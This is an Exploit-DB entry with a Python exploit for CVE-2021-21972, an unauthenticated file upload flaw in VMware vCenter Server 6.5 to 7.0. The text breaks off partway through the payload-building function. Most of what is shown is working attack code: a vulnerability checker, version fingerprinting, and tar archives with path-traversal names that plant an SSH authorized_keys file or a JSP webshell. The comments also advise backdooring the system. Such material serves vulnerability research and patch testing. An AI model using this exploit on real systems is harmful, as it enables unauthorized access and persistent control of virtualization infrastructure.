Exploit-DB #49602
Description: VMware vCenter Server 7.0 - Unauthenticated File Upload
Type: webapps
Platform: multiple
Date: 2021-03-01
Author: Photubias

Exploit:
# Exploit Title: VMware vCenter Server 7.0 - Unauthenticated File Upload
# Date: 2021-02-27
# Exploit Author: Photubias
# Vendor Advisory: [1] https://www.vmware.com/security/advisories/VMSA-2021-0002.html
# Version: vCenter Server 6.5 (7515524<[vulnerable]<17590285), vCenter Server 6.7 (<17138064) and vCenter Server 7 (<17327517)
# Tested on: vCenter Server Appliance 6.5, 6.7 & 7.0, multiple builds
# CVE: CVE-2021-21972

#!/usr/bin/env python3
'''
    Copyright 2021 Photubias(c)        
    This program is free software: you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation, either version 3 of the License, or
    (at your option) any later version.
    
    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.
    
    You should have received a copy of the GNU General Public License
    along with this program.  If not, see <http://www.gnu.org/licenses/>.
    
    File name CVE-2021-21972.py
    written by tijl[dot]deneut[at]howest[dot]be for www.ic4.be

    CVE-2021-21972 is an unauthenticated file upload and overwrite,
     exploitation can be done via SSH public key upload or a webshell
     The webshell must be of type JSP, and its success depends heavily on the specific vCenter version
    
    # Manual verification:  https://<ip>/ui/vropspluginui/rest/services/checkmobregister
    #  A white page means vulnerable
    #  A 401 Unauthorized message means patched or workaround implemented (or the system is not completely booted yet)
    # Notes:
    #  * On Linux SSH key upload is always best, when SSH access is possible & enabled
    #  * On Linux the upload is done as user vsphere-ui:users
    #  * On Windows the upload is done as system user
    #  * vCenter 6.5 <=7515524 does not contain the vulnerable component "vropspluginui"
    #  * vCenter 6.7U2 and up are running the Webserver in memory, so backdoor the system (active after reboot) or use SSH payload
    
    This is a native implementation without requirements, written in Python 3.
    Works equally well on Windows as Linux (as MacOS, probably ;-)
    
    Features: vulnerability checker + exploit
'''

import os, tarfile, sys, optparse, requests
requests.packages.urllib3.disable_warnings()

lProxy = {}
SM_TEMPLATE = b'''<env:Envelope xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:env="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
      <env:Body>
      <RetrieveServiceContent xmlns="urn:vim25">
        <_this type="ServiceInstance">ServiceInstance</_this>
      </RetrieveServiceContent>
      </env:Body>
      </env:Envelope>'''
sURL = sFile = sRpath = sType = None

def parseArguments(options):
    global sURL, sFile, sType, sRpath, lProxy
    if not options.url or not options.file: exit('[-] Error: please provide at least an URL and a FILE to upload.')
    sURL = options.url
    if sURL[-1:] == '/': sURL = sURL[:-1]
    if not sURL[:4].lower() == 'http': sURL = 'https://' + sURL
    sFile = options.file
    if not os.path.exists(sFile): exit('[-] File not found: ' + sFile)
    sType = 'ssh'
    if options.type: sType = options.type
    if options.rpath: sRpath = options.rpath
    else: sRpath = None
    if options.proxy: lProxy = {'https': options.proxy}

def getVersion(sURL):
    def getValue(sResponse, sTag = 'vendor'):
        try: return sResponse.split('<' + sTag + '>')[1].split('</' + sTag + '>')[0]
        except: pass
        return ''
    oResponse = requests.post(sURL + '/sdk', verify = False, proxies = lProxy, timeout = 5, data = SM_TEMPLATE)
    #print(oResponse.text)
    if oResponse.status_code == 200:
        sResult = oResponse.text
        if not 'VMware' in getValue(sResult, 'vendor'):
            exit('[-] Not a VMware system: ' + sURL)
        else:
            sName = getValue(sResult, 'name')
            sVersion = getValue(sResult, 'version') # e.g. 7.0.0
            sBuild = getValue(sResult, 'build') # e.g. 15934073
            sFull = getValue(sResult, 'fullName')
            print('[+] Identified: ' + sFull)
            return sVersion, sBuild
    exit('[-] Not a VMware system: ' + sURL)

def verify(sURL):
    #return True
    sURL += '/ui/vropspluginui/rest/services/uploadova'
    try:
        oResponse = requests.get(sURL, verify=False, proxies = lProxy, timeout = 5)
    except:
        exit('[-] System not available: ' + sURL)
    if oResponse.status_code == 405: return True ## A patched system returns 401, but also if it is not booted completely
    else: return False

def createTarLin(sFile, sType, sVersion, sBuild, sRpath = None):
    def getResourcePath():
        oResponse = requests.get(sURL + '/ui', verify = False, proxies = lProxy, timeout = 5)
        return oResponse.text.split('static/')[1].split('/')[0]
    oTar = tarfile.open('payloadLin.tar','w')
    if sRpath: ## version & build not important
        if sRpath[0] == '/': sRpath = sRpath[1:]
        sPayloadPath = '../../' + sRpath
        oTar.add(sFile, arcname=sPayloadPath)
        oTar.close()
        return 'absolute'
    elif sType.lower() == 'ssh': ## version & build not important
        sPayloadPath = '../../home/vsphere-ui/.ssh/authorized_keys'
        oTar.add(sFile, arcname=sPayloadPath)
        oTar.close()
        return 'ssh'
    elif (int(sVersion.split('.')[0]) == 6 and int(sVersion.split('.')[1]) == 5) or (int(sVersion.split('.')[0]) == 6 and int(sVersion.split('.')[1]) == 7 and int(sBuild) < 13010631):
        ## vCenter 6.5/6.7 < 13010631, just this location with a subnumber
        sPayloadPath = '../../usr/lib/vmware-vsphere-ui/server/work/deployer/s/glo